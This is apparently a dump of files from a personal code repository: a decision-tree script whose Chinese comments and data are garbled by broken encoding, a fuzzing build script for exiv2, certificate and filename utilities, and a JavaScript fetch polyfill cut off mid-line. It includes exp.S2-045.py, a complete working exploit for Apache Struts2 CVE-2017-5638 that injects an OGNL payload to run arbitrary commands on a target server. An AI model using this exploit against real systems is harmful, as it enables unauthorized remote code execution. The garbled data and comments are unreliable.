#axis=0value=̣ͻõ̵ЩɾȥĽ\r\n    retDataSet = []  \r\n    for featVec in dataSet:  \r\n        if featVec[axis] == value:      #abstract the fature  \r\n            reducedFeatVec = featVec[:axis]  \r\n            reducedFeatVec.extend(featVec[axis+1:])  \r\n            retDataSet.append(reducedFeatVec)  \r\n    return retDataSet\r\n\r\n\r\ndef chooseBestFeatureToSplit(dataSet):  \r\n    numFeatures = len(dataSet[0])-1  \r\n    baseEntropy = calcShannonEnt(dataSet)  \r\n    bestInfoGain = 0.0; bestFeature = -1  \r\n    for i in range(numFeatures):  \r\n        featList = [example[i] for example in dataSet]  \r\n        uniqueVals = set(featList)  \r\n        newEntropy = 0.0  \r\n        for value in uniqueVals: \r\n            subDataSet = splitDataSet(dataSet, i , value)  #i=0,value=̣õ̵6¼subDataSet\r\n            prob = len(subDataSet)/float(len(dataSet))  \r\n            newEntropy +=prob * calcShannonEnt(subDataSet)  \r\n        infoGain = baseEntropy - newEntropy  \r\n        if(infoGain > bestInfoGain):  \r\n            bestInfoGain = infoGain  \r\n            bestFeature = i  \r\n    return bestFeature\r\n\r\n\r\ndef majorityCnt(classList):  \r\n    classCount = {}  \r\n    for vote in classList:  \r\n        if vote not in classCount.keys(): classCount[vote] = 0  \r\n        classCount[vote] += 1  \r\n    sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)  \r\n    return sortedClassCount[0][0]\r\n\r\n\r\ndef createTree(dataSet, labels):  \r\n    classList = [example[-1] for example in dataSet]  #бÿСǡ\r\n    # the type is the same, so stop classify  \r\n    if classList.count(classList[0]) == len(classList):  #ȫǡǡ򡰷񡱣return\r\n        return classList[0]  \r\n    # traversal all the features and choose the most frequent feature  \r\n    if (len(dataSet[0]) == 1):#Ϊգ\r\n        return majorityCnt(classList)  \r\n    bestFeat = chooseBestFeatureToSplit(dataSet)  #ѡõĻ\r\n    bestFeatLabel = labels[bestFeat]  \r\n    myTree = {bestFeatLabel:{}}  \r\n    del(labels[bestFeat])  \r\n    #get the list which attain the whole properties  \r\n    featValues = [example[bestFeat] for example in dataSet]  \r\n    uniqueVals = set(featValues)  \r\n    for value in uniqueVals:  \r\n        childDataSet = splitDataSet(dataSet, bestFeat, value)\r\n        if childDataSet == []: \r\n            myTree[bestFeatLabel][value] = majorityCnt(classList)\r\n        else: myTree[bestFeatLabel][value] = createTree(childDataSet, labels[:])  \r\n    return myTree\r\n\r\n\r\ndef classify(inputTree, featLabels, testVec):  \r\n    firstStr = list(inputTree.keys())[0]\r\n    #firstStr = (inputTree.keys())[0]\r\n    secondDict = inputTree[firstStr]\r\n    featIndex = featLabels.index(firstStr)\r\n    for key in secondDict.keys():  \r\n        if testVec[featIndex] == key:  \r\n            if type(secondDict[key]).__name__ == 'dict':  \r\n                classLabel = classify(secondDict[key], featLabels, testVec)  \r\n            else: classLabel = secondDict[key]  \r\n    return classLabel\r\n\r\n\r\ndataSet = [\r\n\",,,,,Ӳ,\".split(','),\r\n\"ں,,,,,Ӳ,\".split(','),\r\n\"ں,,,,,Ӳ,\".split(','),\r\n\",,,,,Ӳ,\".split(','),\r\n\"ǳ,,,,,Ӳ,\".split(','),\r\n\",,,,԰,ճ,\".split(','),\r\n\"ں,,,Ժ,԰,ճ,\".split(','),\r\n\"ں,,,,԰,Ӳ,\".split(','),\r\n\"ں,,,Ժ,԰,Ӳ,\".split(','),\r\n\",Ӳͦ,,,ƽ̹,ճ,\".split(','),\r\n\"ǳ,Ӳͦ,,ģ,ƽ̹,Ӳ,\".split(','),\r\n\"ǳ,,,ģ,ƽ̹,ճ,\".split(','),\r\n\",,,Ժ,,Ӳ,\".split(','),\r\n\"ǳ,,,Ժ,,Ӳ,\".split(','),\r\n\"ں,,,,԰,ճ,\".split(','),\r\n\"ǳ,,,ģ,ƽ̹,Ӳ,\".split(','),\r\n\",,,Ժ,԰,Ӳ,\".split(','),\r\n]\r\nlabels = \"ɫ,,,,겿,\".split(',')  \r\nmyTree = createTree(dataSet,labels[:])  \r\nprint(json.dumps(myTree,indent=4, ensure_ascii=False))#4ʾ\r\nprint(classify(myTree,labels,\",,,Ժ,԰,ճ\".split(',')))#һδ֪\r\n"
  },
  {
    "path": "code/dfsanexiv2/Dockerfile",
    "content": "FROM zjuchenyuan/angora\r\nADD build.sh /\r\nRUN chmod +x /build.sh && /build.sh"
  },
  {
    "path": "code/dfsanexiv2/build.sh",
    "content": "#!/bin/bash\n# create our ABI list file\nmkdir -p /data\ncd /data\ncat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist.txt > mylist.txt\ncat /angora/llvm_mode/dfsan_rt/abilibstdc++.txt >> mylist.txt\n\n# download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh\napt install -y ninja-build\n\nLLVM_VERSION=7.0.0\nCUR_DIR=/data\nCLANG_SRC=${CUR_DIR}/llvm_src\n\nwget http://releases.llvm.org/${LLVM_VERSION}/llvm-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/cfe-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/compiler-rt-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxx-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxxabi-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/libunwind-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz\n\ntar -Jxf ${CUR_DIR}/llvm-${LLVM_VERSION}.src.tar.xz \nmv llvm-${LLVM_VERSION}.src $CLANG_SRC\ncd ${CLANG_SRC}/tools\ntar -Jxf ${CUR_DIR}/cfe-${LLVM_VERSION}.src.tar.xz \nmv cfe-${LLVM_VERSION}.src clang\ncd ${CLANG_SRC}/tools/clang/tools\ntar -Jxf ${CUR_DIR}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz \nmv clang-tools-extra-${LLVM_VERSION}.src extra\ncd ${CLANG_SRC}/projects\ntar -Jxvf ${CUR_DIR}/compiler-rt-${LLVM_VERSION}.src.tar.xz\nmv compiler-rt-${LLVM_VERSION}.src compiler-rt\ntar -Jxvf ${CUR_DIR}/libcxx-${LLVM_VERSION}.src.tar.xz\nmv libcxx-${LLVM_VERSION}.src libcxx\ntar -Jxvf ${CUR_DIR}/libcxxabi-${LLVM_VERSION}.src.tar.xz\nmv libcxxabi-${LLVM_VERSION}.src libcxxabi\ntar -Jxvf ${CUR_DIR}/libunwind-${LLVM_VERSION}.src.tar.xz\nmv libunwind-${LLVM_VERSION}.src libunwind\ncp ./libcxxabi/include/*  ./libcxx/include\n\nmkdir -p /data/build_llvm && cd /data/build_llvm\nexport CC=\"clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\" CXX=\"clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\"\ncmake -G Ninja ../llvm_src/  -DLIBCXXABI_ENABLE_SHARED=NO -DLIBCXX_ENABLE_SHARED=NO -DLIBCXX_CXX_ABI=libcxxabi\nninja cxx cxxabi\n\nexport CC=\"clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\" CXX=\"clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\"\n\n# download dependency (expat and zlib) source code\ncd /data\nsed -i 's/# deb-src/deb-src/g' /etc/apt/sources.list\napt update\napt source zlib1g-dev libexpat1-dev\n\n# compile expat\ncd /data/expat-2.1.0\n./configure --prefix=/data/expat\nmake install -j\n\n# compile zlib\ncd /data/zlib-1.2.8.dfsg/\n./configure --prefix=/data/zlib\nmake install -j\n\n# download source code\ncd /data\nwget http://exiv2.org/releases/exiv2-0.26-trunk.tar.gz\ntar zxvf exiv2-0.26-trunk.tar.gz\ncd /data/exiv2-trunk\n\nCFLAGS='-O0' CXXFLAGS='-O0' ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib \nmake clean; find . -name '*.o' -delete\nmake -j\n# now we get bin/exiv2, about 44MB"
  },
  {
    "path": "code/exp.S2-045.py",
    "content": "#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport urllib2\r\nimport httplib\r\n\r\n\r\ndef exploit(url, cmd):\r\n    payload = \"Content-Type:%{(#_='multipart/form-data').\"\r\n    payload += \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\"\r\n    payload += \"(#_memberAccess?\"\r\n    payload += \"(#_memberAccess=#dm):\"\r\n    payload += \"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\r\n    payload += \"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\"\r\n    payload += \"(#ognlUtil.getExcludedPackageNames().clear()).\"\r\n    payload += \"(#ognlUtil.getExcludedClasses().clear()).\"\r\n    payload += \"(#context.setMemberAccess(#dm)))).\"\r\n    payload += \"(#cmd='%s').\" % cmd\r\n    payload += \"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\"\r\n    payload += \"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\"\r\n    payload += \"(#p=new java.lang.ProcessBuilder(#cmds)).\"\r\n    payload += \"(#p.redirectErrorStream(true)).(#process=#p.start()).\"\r\n    payload += \"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).\"\r\n    payload += \"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\"\r\n    payload += \"(#ros.flush())}\"\r\n\r\n    try:\r\n        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}\r\n        request = urllib2.Request(url, headers=headers)\r\n        page = urllib2.urlopen(request).read()\r\n    except httplib.IncompleteRead, e:\r\n        page = e.partial\r\n\r\n    print(page)\r\n    return page\r\n\r\n\r\nif __name__ == '__main__':\r\n    import sys\r\n    if len(sys.argv) != 3:\r\n        print(\"[*] struts2_S2-045.py <url> <cmd>\")\r\n    else:\r\n        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')\r\n        url = sys.argv[1]\r\n        cmd = sys.argv[2]\r\n        print(\"[*] cmd: %s\\n\" % cmd)\r\n        exploit(url, cmd)"
  },
  {
    "path": "code/fixgbknames.py",
    "content": "\"\"\"\r\nIf you have a bunch of files in Linux system whose filename is encoded with gbk,\r\nyou will find `ls` cannot correctly display them, \r\nbecause filenames should be encoded with utf-8 under Linux.\r\n\r\nSo, let's change the filename to correct encoding 'utf-8'\r\n\r\nThis script can only work under Python3\r\n\"\"\"\r\ntry:\r\n    import http #this is only for testing if you're using py3\r\nexcept:\r\n    print(\"This script can only work under Python3\")\r\n    exit(1)\r\n\r\nimport os\r\nok=0\r\nnotok = 0\r\nfor root, dirs, files in os.walk(b\".\"):\r\n    for filename in files:\r\n        filename = os.path.join(root, filename).replace(b'`',b'\\\\`')\r\n        try:\r\n            filename.decode('utf-8')\r\n            ok += 1\r\n        except:\r\n            print(filename)\r\n            notok += 1\r\n            command = b'mv \"'+filename+b'\" \"'+filename.decode('gbk').encode('utf-8')+b'\"'\r\n            os.system(command)\r\n\r\nprint(\"changed {} files\".format(notok))\r\nprint(\"leave {} files untouched\".format(ok))"
  },
  {
    "path": "code/getcert.py",
    "content": "#!/usr/bin/python\nusage=\"\"\"Usage:\n    ./getcert.py example example.com,www.example.com,another.example.com\n    \nNote:\n    Please set up nginx conf carefully~ Look up here -> https://github.com/zjuchenyuan/notebook/blob/master/Nginx.md\n\"\"\"\nfrom os import system as s\nimport sys\nif len(sys.argv)!=3:\n    print(usage)\n    exit()\nname = sys.argv[1]\ns(\"test -e account.key || openssl genrsa 4096 > account.key\")\ns(\"test -e acme_tiny.py || curl -O https://raw.githubusercontent.com/diafygi/acme-tiny/master/acme_tiny.py\")\ns(\"test -e {name}.key || openssl genrsa 4096 > {name}.key\".format(name=name))\nDNSstring = 'DNS:' + ',DNS:'.join(sys.argv[2].split(\",\"))\nopen(\"tmp.sh\",\"w\").write('openssl req -new -sha256 -key {name}.key -subj \"/\" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf \"[SAN]\\\\nsubjectAltName={DNSstring}\")) > {name}.csr'.format(name=name,DNSstring=DNSstring))\ns(\"bash tmp.sh&&rm -f tmp.sh\")\ns(\"python acme_tiny.py --account-key account.key --csr {name}.csr --acme-dir . > {name}_temp.crt\".format(name=name))\ns(\"test -e intermediate.pem || wget -O - https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem > intermediate.pem\")\ns(\"cat {name}_temp.crt intermediate.pem > {name}.crt && rm -f {name}_temp.crt {name}.csr\".format(name=name))\n"
  },
  {
    "path": "code/jshook_preload.js",
    "content": "if(typeof(window.RVPNSTATUS)==\"undefined\"){\r\n    var RVPNSTATUS = document.location.hostname.indexOf(\"rvpn.zju.edu.cn\")!=-1;\r\n    var tmp=document.location.pathname.split(\"/\");\r\n    var ROOT;\r\n    if(RVPNSTATUS){\r\n        ROOT=\"/\"+tmp[1]+\"/\"+tmp[2]+\"/\"+tmp[3]+\"/\"+tmp[4]+\"/\"+tmp[5]+\"/\";\r\n    }else{\r\n        ROOT=\"/\";\r\n    }\r\n    /*ajaxhook.min.js*/\r\n    !function(t){function r(i){if(n[i])return n[i].exports;var o=n[i]={exports:{},id:i,loaded:!1};return t[i].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}var n={};return r.m=t,r.c=n,r.p=\"\",r(0)}([function(t,r,n){n(1)(window)},function(t,r){t.exports=function(t){t.hookAjax=function(t){function r(t){return function(){return this.hasOwnProperty(t+\"_\")?this[t+\"_\"]:this.xhr[t]}}function n(r){return function(n){var i=this.xhr,o=this;return 0!=r.indexOf(\"on\")?void(this[r+\"_\"]=n):void(t[r]?i[r]=function(){t[r](o)||n.apply(i,arguments)}:i[r]=n)}}function i(r){return function(){var n=[].slice.call(arguments);if(!t[r]||!t[r].call(this,n,this.xhr))return this.xhr[r].apply(this.xhr,n)}}return window._ahrealxhr=window._ahrealxhr||XMLHttpRequest,XMLHttpRequest=function(){this.xhr=new window._ahrealxhr;for(var t in this.xhr){var o=\"\";try{o=typeof this.xhr[t]}catch(t){}\"function\"===o?this[t]=i(t):Object.defineProperty(this,t,{get:r(t),set:n(t)})}},window._ahrealxhr},t.unHookAjax=function(){window._ahrealxhr&&(XMLHttpRequest=window._ahrealxhr),window._ahrealxhr=void 0},t.default=t}}]);\r\n    if(RVPNSTATUS){\r\n/*fetch.js start*/\r\n(function (global, factory) {\r\n  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :\r\n  typeof define === 'function' && define.amd ? define(['exports'], factory) :\r\n  (factory((global.WHATWGFetch = {})));\r\n}(this, (function (exports) { 'use strict';\r\n\r\n  var support = {\r\n    searchParams: 'URLSearchParams' in self,\r\n    iterable: 'Symbol' in self && 'iterator' in Symbol,\r\n    blob:\r\n      'FileReader' in self &&\r\n      'Blob' in self &&\r\n      (function() {\r\n        try {\r\n          new Blob();\r\n          return true\r\n        } catch (e) {\r\n          return false\r\n        }\r\n      })(),\r\n    formData: 'FormData' in self,\r\n    arrayBuffer: 'ArrayBuffer' in self\r\n  };\r\n\r\n  function isDataView(obj) {\r\n    return obj && DataView.prototype.isPrototypeOf(obj)\r\n  }\r\n\r\n  if (support.arrayBuffer) {\r\n    var viewClasses = [\r\n      '[object Int8Array]',\r\n      '[object Uint8Array]',\r\n      '[object Uint8ClampedArray]',\r\n      '[object Int16Array]',\r\n      '[object Uint16Array]',\r\n      '[object Int32Array]',\r\n      '[object Uint32Array]',\r\n      '[object Float32Array]',\r\n      '[object Float64Array]'\r\n    ];\r\n\r\n    var isArrayBufferView =\r\n      ArrayBuffer.isView ||\r\n      function(obj) {\r\n        return obj && viewClasses.indexOf(Object.prototype.toString.call(obj)) > -1\r\n      };\r\n  }\r\n\r\n  function normalizeName(name) {\r\n    if (typeof name !== 'string') {\r\n      name = String(name);\r\n    }\r\n    if (/[^a-z0-9\\-#$%&'*+.^_`|~]/i.test(name)) {\r\n      throw new TypeError('Invalid character in header field name')\r\n    }\r\n    return name.toLowerCase()\r\n  }\r\n\r\n  function normalizeValue(value) {\r\n    if (typeof value !== 'string') {\r\n      value = String(value);\r\n    }\r\n    return value\r\n  }\r\n\r\n  // Build a destructive iterator for the value list\r\n  function iteratorFor(items) {\r\n    var iterator = {\r\n      next: function() {\r\n        var value = items.shift();\r\n        return {done: value === undefined, value: value}\r\n      }\r\n    };\r\n\r\n    if (support.iterable) {\r\n      iterator[Symbol.iterator] = function() {\r\n        return iterator\r\n      };\r\n    }\r\n\r\n    return iterator\r\n  }\r\n\r\n  function Headers(headers) {\r\n    this.map = {};\r\n\r\n    if (headers instanceof Headers) {\r\n      headers.forEach(function(value, name) {\r\n        this.append(name, value);\r\n      }, this);\r\n    } else if (Array.isArray(headers)) {\r\n      headers.forEach(function(header) {\r\n        this.append(header[0], header[1]);\r\n      }, this);\r\n    } else if (headers) {\r\n      Object.getOwnPropertyNames(headers).forEach(function(name) {\r\n        this.append(name, headers[name]);\r\n      }, this);\r\n    }\r\n  }\r\n\r\n  Headers.prototype.append = function(name, value) {\r\n    name = normalizeName(name);\r\n    value = normalizeValue(value);\r\n    var oldValue = this.map[name];\r\n    this.map[name] = oldValue ? oldValue + ', ' + value : value;\r\n  };\r\n\r\n  Headers.prototype['delete'] = function(name) {\r\n    delete this.map[normalizeName(name)];\r\n  };\r\n\r\n  Headers.prototype.get = function(name) {\r\n    name = normalizeName(name);\r\n    return this.has(name) ? this.map[name] : null\r\n  };\r\n\r\n  Headers.prototype.has = function(name) {\r\n    return this.map.hasOwnProperty(normalizeName(name))\r\n  };\r\n\r\n  Headers.prototype.set = function(name, value) {\r\n    this.map[normalizeName(name)] = normalizeValue(value);\r\n  };\r\n\r\n  Headers.prototype.forEach = function(callback, thisArg) {\r\n    for (var name in this.map) {\r\n      if (this.map.hasOwnProperty(name)) {\r\n        callback.call(thisArg, this.map[name], name, this);\r\n      }\r\n    }\r\n  };\r\n\r\n  Headers.prototype.keys = function() {\r\n    var items = [];\r\n    this.forEach(function(value, name) {\r\n      items.push(name);\r\n    });\r\n    return iteratorFor(items)\r\n  };\r\n\r\n  Headers.prototype.values = function() {\r\n    var items = [];\r\n    this.forEach(function(value) {\r\n      items.push(value);\r\n    });\r\n    return iteratorFor(items)\r\n  };\r\n\r\n  Headers.prototype.entries = function() {\r\n    var items = [];\r\n    this.forEach(function(value, name) {\r\n      items.push([name, value]);\r\n    });\r\n    return iteratorFor(items)\r\n  };\r\n\r\n  if (support.iterable) {\r\n    Headers.prototype[Symbol.iterator] = Headers.prototype.entries;\r\n  }\r\n\r\n  function consumed(body) {\r\n    if (body.bodyUsed) {\r\n      return Promise.reject(new TypeError('Already read'))\r\n    }\r\n    body.bodyUsed = true;\r\n  }\r\n\r\n  function fileReaderReady(reader) {\r\n    return new Promise(function(resolve, reject) {\r\n      reader.onload = function() {\r\n        resolve(reader.result);\r\n      };\r\n      reader.onerror = function() {\r\n        reject(reader.error);\r\n      };\r\n    })\r\n  }\r\n\r\n  function readBlobAsArrayBuffer(blob) {\r\n    var reader = new FileReader();\r\n    var promise = fileReaderReady(reader);\r\n    reader.readAsArrayBuffer(blob);\r\n    return promise\r\n  }\r\n\r\n  function readBlobAsText(blob) {\r\n    var reader = new FileReader();\r\n    var promise = fileReaderReady(reader);\r\n    reader.readAsText(blob);\r\n    return promise\r\n  }\r\n\r\n  function readArrayBufferAsText(buf) {\r\n    var view = new Uint8Array(buf);\r\n    var chars = new Array(view.length);\r\n\r\n    for (var i = 0; i < view.length; i++) {\r\n      chars[i] = String.fromCharCode(view[i]);\r\n    }\r\n    return chars.join('')\r\n  }\r\n\r\n  function bufferClone(buf) {\r\n    if (buf.slice) {\r\n      return buf.slice(0)\r\n    } else {\r\n      var view = new Uint8Array(buf.byteLength);\r\n      view.set(new Uint8Array(buf));\r\n      return view.buffer\r\n    }\r\n  }\r\n\r\n  function Body() {\r\n    this.bodyUsed = false;\r\n\r\n    this._initBody = function(body) {\r\n      this._bodyInit = body;\r\n      if (!body) {\r\n        this._bodyText = '';\r\n      } else if (typeof body === 'string') {\r\n        this._bodyText = body;\r\n      } else if (support.blob && Blob.prototype.isPrototypeOf(body)) {\r\n        this._bodyBlob = body;\r\n      } else if (support.formData && FormData.prototype.isPrototypeOf(body)) {\r\n        this._bodyFormData = body;\r\n      } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) {\r\n        this._bodyText = body.toString();\r\n      } else if (support.arrayBuffer && support.blob && isDataView(body)) {\r\n        this._bodyArrayBuffer = bufferClone(body.buffer);\r\n        // IE 10-11 can't handle a DataView body.\r\n        this._bodyInit = new Blob([this._bodyArrayBuffer]);\r\n      } else if (support.arrayBuffer && (ArrayBuffer.prototype.isPrototypeOf(body) || isArrayBufferView(body))) {\r\n        this._bodyArrayBuffer = bufferClone(body);\r\n      } else {\r\n        this._bodyText = body = Object.prototype.toString.call(body);\r\n      }\r\n\r\n      if (!this.headers.get('content-type')) {\r\n        if (typeof body === 'string') {\r\n          this.headers.set('content-type', 'text/plain;charset=UTF-8');\r\n        } else if (this._bodyBlob && this._bodyBlob.type) {\r\n          this.headers.set('content-type', this._bodyBlob.type);\r\n        } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) {\r\n          this.headers.set('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');\r\n        }\r\n      }\r\n    };\r\n\r\n    if (support.blob) {\r\n      this.blob = function() {\r\n        var rejected = consumed(this);\r\n        if (rejected) {\r\n          return rejected\r\n        }\r\n\r\n        if (this._bodyBlob) {\r\n          return Promise.resolve(this._bodyBlob)\r\n        } else if (this._bodyArrayBuffer) {\r\n          return Promise.resolve(new Blob([this._bodyArrayBuffer]))\r\n        } else if (this._bodyFormData) {\r\n          throw new Error('could not read FormData body as blob')\r\n        } else {\r\n          return Promise.resolve(new Blob([this._bodyText]))\r\n        }\r\n      };\r\n\r\n      this.arrayBuffer = function() {\r\n        if (this._bodyArrayBuffer) {\r\n          return consumed(this) || Promise.resolve(this._bodyArrayBuffer)\r\n        } else {\r\n          return this.blob().then(readBlobAsArrayBuffer)\r\n        }\r\n      };\r\n    }\r\n\r\n    this.text = function() {\r\n      var rejected = consumed(this);\r\n      if (rejected) {\r\n        return rejected\r\n      }\r\n\r\n      if (this._bodyBlob) {\r\n        return readBlobAsText(this._bodyBlob)\r\n      } else if (this._bodyArrayBuffer) {\r\n        return Promise.resolve(readArrayBufferAsText(this._bodyArrayBuffer))\r\n      } else if (this._bodyFormData) {\r\n        throw new Error('could not read FormData body as text')\r\n      } else {\r\n        return Promise.resolve(this._bodyText)\r\n      }\r\n    };\r\n\r\n    if (support.formData) {\r\n      this.formData = function() {\r\n        return this.text().then(decode)\r\n      };\r\n    }\r\n\r\n    this.json = function() {\r\n      return this.text().then(JSON.parse)\r\n    };\r\n\r\n    return this\r\n  }\r\n\r\n  // HTTP methods whose capitalization should be normalized\r\n  var methods = ['DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT'];\r\n\r\n  function normalizeMethod(method) {\r\n    var upcased = method.toUpperCase();\r\n    return methods.indexOf(upcased) > -1 ? upcased : method\r\n  }\r\n\r\n  function Request(input, options) {\r\n    options = options || {};\r\n    var body = options.body;\r\n\r\n    if (input instanceof Request) {\r\n      if (input.bodyUsed) {\r\n        throw new TypeError('Already read')\r\n      }\r\n      this.url = input.url;\r\n      this.credentials = input.credentials;\r\n      if (!options.headers) {\r\n        this.headers = new Headers(input.headers);\r\n      }\r\n      this.method = input.method;\r\n      this.mode = input.mode;\r\n      this.signal = input.signal;\r\n      if (!body && input._bodyInit != null) {\r\n        body = input._bodyInit;\r\n        input.bodyUsed = true;\r\n      }\r\n    } else {\r\n      this.url = String(input);\r\n    }\r\n\r\n    this.credentials = options.credentials || this.credentials || 'same-origin';\r\n    if (options.headers || !this.headers) {\r\n      this.headers = new Headers(options.headers);\r\n    }\r\n    this.method = normalizeMethod(options.method || this.method || 'GET');\r\n    this.mode = options.mode || this.mode || null;\r\n    this.signal = options.signal || this.signal;\r\n    this.referrer = null;\r\n\r\n    if ((this.method === 'GET' || this.method === 'HEAD') && body) {\r\n      throw new TypeError('Body not allowed for GET or HEAD requests')\r\n    }\r\n    this._initBody(body);\r\n  }\r\n\r\n  Request.prototype.clone = function() {\r\n    return new Request(this, {body: this._bodyInit})\r\n  };\r\n\r\n  function decode(body) {\r\n    var form = new FormData();\r\n    body\r\n      .trim()\r\n      .split('&')\r\n      .forEach(function(bytes) {\r\n        if (bytes) {\r\n          var split = bytes.split('=');\r\n          var name = split.shift().replace(/\\+/g, ' ');\r\n          var value = split.join('=').replace(/\\+/g, ' ');\r\n          form.append(decodeURIComponent(name), decodeURIComponent(value));\r\n        }\r\n      });\r\n    return form\r\n  }\r\n\r\n  function parseHeaders(rawHeaders) {\r\n    var headers = new Headers();\r\n    // Replace instances of \\r\\n and \\n followed by at least one space or horizontal tab with a space\r\n    // https://tools.ietf.org/html/rfc7230#section-3.2\r\n    var preProcessedHeaders = rawHeaders.replace(/\\r?\\n[\\t ]+/g, ' ');\r\n    preProcessedHeaders.split(/\\r?\\n/).forEach(function(line) {\r\n      var parts = line.split(':');\r\n      var key = parts.shift().trim();\r\n      if (key) {\r\n        var value = parts.join(':').trim();\r\n        headers.append(key, value);\r\n      }\r\n    });\r\n    return headers\r\n  }\r\n\r\n  Body.call(Request.prototype);\r\n\r\n  function Response(bodyInit, options) {\r\n    if (!options) {\r\n      options = {};\r\n    }\r\n\r\n    this.type = 'default';\r\n    this.status = options.status === undefined ? 200 : options.status;\r\n    this.ok = this.status >= 200 && this.status < 300;\r\n    this.statusText = 'statusText' in options ? options.statusText : 'OK';\r\n    this.headers = new Headers(options.headers);\r\n    this.url = options.url || '';\r\n    this._initBody(bodyInit);\r\n  }\r\n\r\n  Body.call(Response.prototype);\r\n\r\n  Response.prototype.clone = function() {\r\n    return new Response(this._bodyInit, {\r\n      status: this.status,\r\n      statusText: this.statusText,\r\n      headers: new Headers(this.headers),\r\n      url: this.url\r\n    })\r\n  };\r\n\r\n  Response.error = function() {\r\n    var response = new Response(null, {status: 0, statusText: ''});\r\n    response.type = 'error';\r\n    return response\r\n  };\r\n\r\n  var redirectStatuses = [301, 302, 303, 307, 308];\r\n\r\n  Response.redirect = function(url, status) {\r\n    if (redirectStatuses.indexOf(status) === -1) {\r\n      throw new RangeError('Invalid status code')\r\n    }\r\n\r\n    return new Response(null, {status: status, headers: {location: url}})\r\n  };\r\n\r\n  exports.DOMException = self.DOMException;\r\n  try {\r\n    new exports.DOMException();\r\n  } catch (err) {\r\n    exports.DOMException = function(message, name) {\r\n      this.message = message;\r\n      this.name = name;\r\n      var error = Error(message);\r\n      this.stack = error.stack;\r\n    };\r\n    exports.DOMException.prototype = Object.create(Error.prototype);\r\n    exports.DOMException.prototype.constructor = exports.DOMException;\r\n  }\r\n\r\n  function fetch(input, init) {\r\n    return new Promise(function(resolve, reject) {\r\n      var request = new Request(input, init);\r\n\r\n      if (request.signal && request.signal.aborted) {\r\n        return reject(new exports.DOMException('Aborted', 'AbortError'))\r\n      }\r\n\r\n      var xhr = new XMLHttpRequest();\r\n\r\n      function abortXhr() {\r\n        xhr.abort();\r\n      }\r\n\r\n      xhr.onload = function() {\r\n        var options = {\r\n          status: xhr.status,\r\n          statusText: xhr.statusText,\r\n          headers: parseHeaders(xhr.getAllResponseHeaders() || '')\r\n        };\r\n        options.url = 'responseURL' in xhr ? xhr.responseURL : options.headers.get('X-Request-URL');\r\n        var body = 'response' in xhr ? xhr.response : xhr.responseText;\r\n        resolve(new Response(body, options));\r\n      };\r\n\r\n      xhr.onerror = function() {\r\n        reject(new TypeError('Network request failed'));\r\n      };\r\n\r\n      xhr.ontimeout = function() {\r\n        reject(new TypeError('Network request failed'));\r\n      };\r\n\r\n      xhr.onabort = function() {\r\n        reject(new exports.DOMException('Aborted', 'AbortError'));\r\n      };\r\n\r\n      xhr.open(request.method, request.url, true);\r\n\r\n      if (request.credentials === 'include') {\r\n        xhr.withCredentials = true;\r\n      } else if (request.credentials === 'omit') {\r\n        xhr.withCredentials = false;\r\n      }\r\n\r\n      if ('responseType' in xhr && support.blob) {\r\n        xhr.responseType = 'blob';\r\n      }\r\n\r\n      request.headers.forEach(function(value, name) {\r\n        xhr.setRequestHeader(name, value);\r\n      });\r\n\r\n      if (request.signal) {\r\n        request.signal.addEventListener('abort', abortXhr);\r\n\r\n        xhr.onreadystatechange = function() {\r\n          // DONE (success or failure)\r\n          if (xhr.readyState === 4) {\r\n            request.signal.removeEventListener('abort', abortXhr);\r\n          }\r\n        };\r\n      }\r\n\r\n      xhr.send(typeof request._bodyInit === 'undefined' ? null : request._bodyInit);\r\n    })\r\n  }\r\n\r\n  fetch.polyfill = true;\r\n\r\n  if (true) {\r\n    self.fetch = fetch;\r\n    self.Headers = Headers;\r\n    self.Request = Request;\r\n    self.Response = Response;\r\n  }\r\n\r\n  exports.Headers = Headers;\r\n  exports.Request = Request;\r\n  exports.Response = Response;\r\n  exports.fetch = fetch;\r\n\r\n  Object.defineProperty(exports, '__esModule', { value: true });\r\n\r\n})));\r\n/*fetch.js end*/\r\n\r\n//hook picture load, author: @zjuchenyuan\r\nvar dc = 